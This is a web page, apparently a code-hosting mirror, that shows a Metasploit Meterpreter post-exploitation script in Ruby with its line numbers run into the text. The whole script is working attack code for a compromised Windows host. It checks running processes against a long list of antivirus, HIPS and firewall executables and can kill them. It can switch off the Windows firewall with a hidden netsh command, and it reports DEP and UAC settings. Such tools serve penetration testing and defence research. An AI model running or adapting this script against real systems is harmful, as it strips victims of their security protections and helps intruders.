Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/scripts/meterpreter/getcountermeasure.rb
Views: 11767
##1# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.2# If you'd like to improve this script, please try to port it as a post3# module instead. Thank you.4##567#8# Meterpreter script for detecting AV, HIPS, Third Party Firewalls, DEP Configuration and Windows Firewall configuration.9# Provides also the option to kill the processes of detected products and disable the built-in firewall.10# Provided by Carlos Perez at carlos_perez[at]darkoperator.com11# Version: 0.1.012session = client13@@exec_opts = Rex::Parser::Arguments.new(14"-h" => [ false, "Help menu." ],15"-k" => [ false, "Kill any AV, HIPS and Third Party Firewall process found." ],16"-d" => [ false, "Disable built in Firewall" ]17)1819def usage20print_line("Getcountermeasure -- List (or optionally, kill) HIPS and AV")21print_line("processes, show XP firewall rules, and display DEP and UAC")22print_line("policies")23print(@@exec_opts.usage)24raise Rex::Script::Completed25end2627#-------------------------------------------------------------------------------28avs = %W{29a2adguard.exe30a2adwizard.exe31a2antidialer.exe32a2cfg.exe33a2cmd.exe34a2free.exe35a2guard.exe36a2hijackfree.exe37a2scan.exe38a2service.exe39a2start.exe40a2sys.exe41a2upd.exe42aavgapi.exe43aawservice.exe44aawtray.exe45ad-aware.exe46ad-watch.exe47alescan.exe48anvir.exe49ashdisp.exe50ashmaisv.exe51ashserv.exe52ashwebsv.exe53aswupdsv.exe54atrack.exe55avgagent.exe56avgamsvr.exe57avgcc.exe58avgctrl.exe59avgemc.exe60avgnt.exe61avgtcpsv.exe62avguard.exe63avgupsvc.exe64avgw.exe65avkbar.exe66avk.exe67avkpop.exe68avkproxy.exe69avkservice.exe70avktray71avktray.exe72avkwctl73avkwctl.exe74avmailc.exe75avp.exe76avpm.exe77avpmwrap.exe78avsched32.exe79avwebgrd.exe80avwin.exe81avwupsrv.exe82avz.exe83bdagent.exe84bdmcon.exe85bdnagent.exe86bdss.exe87bdswitch.exe88blackd.exe89blackice.exe90blink.exe91boc412.exe92boc425.exe93bocore.exe94bootwarn.exe95cavrid.exe96cavtray.exe97ccapp.exe98ccevtmgr.exe99ccimscan.exe100ccproxy.exe101ccpwdsvc.exe102ccpxysvc.exe103ccsetmgr.exe104cfgwiz.exe105cfp.exe106clamd.exe107clamservice.exe108clamtray.exe109cmdagent.exe110cpd.exe111cpf.exe112csinsmnt.exe113dcsuserprot.exe114defensewall.exe115defensewall_serv.exe116defwatch.exe117f-agnt95.exe118fpavupdm.exe119f-prot95.exe120f-prot.exe121fprot.exe122fsaua.exe123fsav32.exe124f-sched.exe125fsdfwd.exe126fsm32.exe127fsma32.exe128fssm32.exe129f-stopw.exe130f-stopw.exe131fwservice.exe132fwsrv.exe133iamstats.exe134iao.exe135icload95.exe136icmon.exe137idsinst.exe138idslu.exe139inetupd.exe140irsetup.exe141isafe.exe142isignup.exe143issvc.exe144kav.exe145kavss.exe146kavsvc.exe147klswd.exe148kpf4gui.exe149kpf4ss.exe150livesrv.exe151lpfw.exe152mcagent.exe153mcdetect.exe154mcmnhdlr.exe155mcrdsvc.exe156mcshield.exe157mctskshd.exe158mcvsshld.exe159mghtml.exe160mpftray.exe161msascui.exe162mscifapp.exe163msfwsvc.exe164msgsys.exe165msssrv.exe166navapsvc.exe167navapw32.exe168navlogon.dll169navstub.exe170navw32.exe171nisemsvr.exe172nisum.exe173nmain.exe174noads.exe175nod32krn.exe176nod32kui.exe177nod32ra.exe178npfmntor.exe179nprotect.exe180nsmdtr.exe181oasclnt.exe182ofcdog.exe183opscan.exe184ossec-agent.exe185outpost.exe186paamsrv.exe187pavfnsvr.exe188pcclient.exe189pccpfw.exe190pccwin98.exe191persfw.exe192protector.exe193qconsole.exe194qdcsfs.exe195rtvscan.exe196sadblock.exe197safe.exe198sandboxieserver.exe199savscan.exe200sbiectrl.exe201sbiesvc.exe202sbserv.exe203scfservice.exe204sched.exe205schedm.exe206scheduler daemon.exe207sdhelp.exe208serv95.exe209sgbhp.exe210sgmain.exe211slee503.exe212smartfix.exe213smc.exe214snoopfreesvc.exe215snoopfreeui.exe216spbbcsvc.exe217sp_rsser.exe218spyblocker.exe219spybotsd.exe220spysweeper.exe221spysweeperui.exe222spywareguard.dll223spywareterminatorshield.exe224ssu.exe225steganos5.exe226stinger.exe227swdoctor.exe228swupdate.exe229symlcsvc.exe230symundo.exe231symwsc.exe232symwscno.exe233tcguard.exe234tds2-98.exe235tds-3.exe236teatimer.exe237tgbbob.exe238tgbstarter.exe239tsatudt.exe240umxagent.exe241umxcfg.exe242umxfwhlp.exe243umxlu.exe244umxpol.exe245umxtray.exe246usrprmpt.exe247vetmsg9x.exe248vetmsg.exe249vptray.exe250vsaccess.exe251vsserv.exe252wcantispy.exe253win-bugsfix.exe254winpatrol.exe255winpatrolex.exe256wrsssdk.exe257xcommsvr.exe258xfr.exe259xp-antispy.exe260zegarynka.exe261zlclient.exe262}263#-------------------------------------------------------------------------------264# Check for the presence of AV, HIPS and Third Party firewall and/or kill the265# processes associated with it266def check(session,avs,killbit)267print_status("Checking for contermeasures...")268session.sys.process.get_processes().each do |x|269if (avs.index(x['name'].downcase))270print_status("\tPossible countermeasure found #{x['name']} #{x['path']}")271if (killbit)272print_status("\tKilling process for countermeasure.....")273session.sys.process.kill(x['pid'])274end275end276end277end278#-------------------------------------------------------------------------------279# Get the configuration and/or disable the built in Windows Firewall280def checklocalfw(session,killfw)281print_status("Getting Windows Built in Firewall configuration...")282opmode = ""283r = session.sys.process.execute("cmd.exe /c netsh firewall show opmode", nil, {'Hidden' => 'true', 'Channelized' => true})284while(d = r.channel.read)285opmode << d286end287r.channel.close288r.close289opmode.split("\n").each do |o|290print_status("\t#{o}")291end292if (killfw)293print_status("Disabling Built in Firewall.....")294f = session.sys.process.execute("cmd.exe /c netsh firewall set opmode mode=DISABLE", nil, {'Hidden' => 'true','Channelized' => true})295while(d = f.channel.read)296if d =~ /The requested operation requires elevation./297print_status("\tUAC or Insufficient permissions prevented the disabling of Firewall")298end299end300f.channel.close301f.close302end303end304#-------------------------------------------------------------------------------305# Function for getting the current DEP Policy on the Windows Target306def checkdep(session)307tmpout = ""308depmode = ""309# Expand environment %TEMP% variable310tmp = session.sys.config.getenv('TEMP')311# Create random name for the wmic output312wmicfile = sprintf("%.5d",rand(100000))313wmicout = "#{tmp}\\#{wmicfile}"314print_status("Checking DEP Support Policy...")315r = session.sys.process.execute("cmd.exe /c wmic /append:#{wmicout} OS Get DataExecutionPrevention_SupportPolicy", nil, {'Hidden' => true})316sleep(2)317r.close318r = session.sys.process.execute("cmd.exe /c type #{wmicout}", nil, {'Hidden' => 'true','Channelized' => true})319while(d = r.channel.read)320tmpout << d321end322r.channel.close323r.close324session.sys.process.execute("cmd.exe /c del #{wmicout}", nil, {'Hidden' => true})325depmode = tmpout.scan(/(\d)/)326if depmode.to_s == "0"327print_status("\tDEP is off for the whole system.")328elsif depmode.to_s == "1"329print_status("\tFull DEP coverage for the whole system with no exceptions.")330elsif depmode.to_s == "2"331print_status("\tDEP is limited to Windows system binaries.")332elsif depmode.to_s == "3"333print_status("\tDEP is on for all programs and services.")334end335336end337#-------------------------------------------------------------------------------338def checkuac(session)339print_status("Checking if UAC is enabled ...")340key = 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System'341root_key, base_key = session.sys.registry.splitkey(key)342value = "EnableLUA"343open_key = session.sys.registry.open_key(root_key, base_key, KEY_READ)344v = open_key.query_value(value)345if v.data == 1346print_status("\tUAC is Enabled")347else348print_status("\tUAC is Disabled")349end350end351352################## MAIN ##################353killbt = false354killfw = false355@@exec_opts.parse(args) { |opt, idx, val|356case opt357when "-k"358killbt = true359when "-d"360killfw = true361when "-h"362usage363end364}365# get the version of windows366if client.platform == 'windows'367wnvr = session.sys.config.sysinfo["OS"]368print_status("Running Getcountermeasure on the target...")369check(session,avs,killbt)370if wnvr !~ /Windows 2000/371checklocalfw(session, killfw)372checkdep(session)373end374if wnvr =~ /Windows Vista/375checkuac(session)376end377else378print_error("This version of Meterpreter is not supported with this Script!")379raise Rex::Script::Completed380end381382383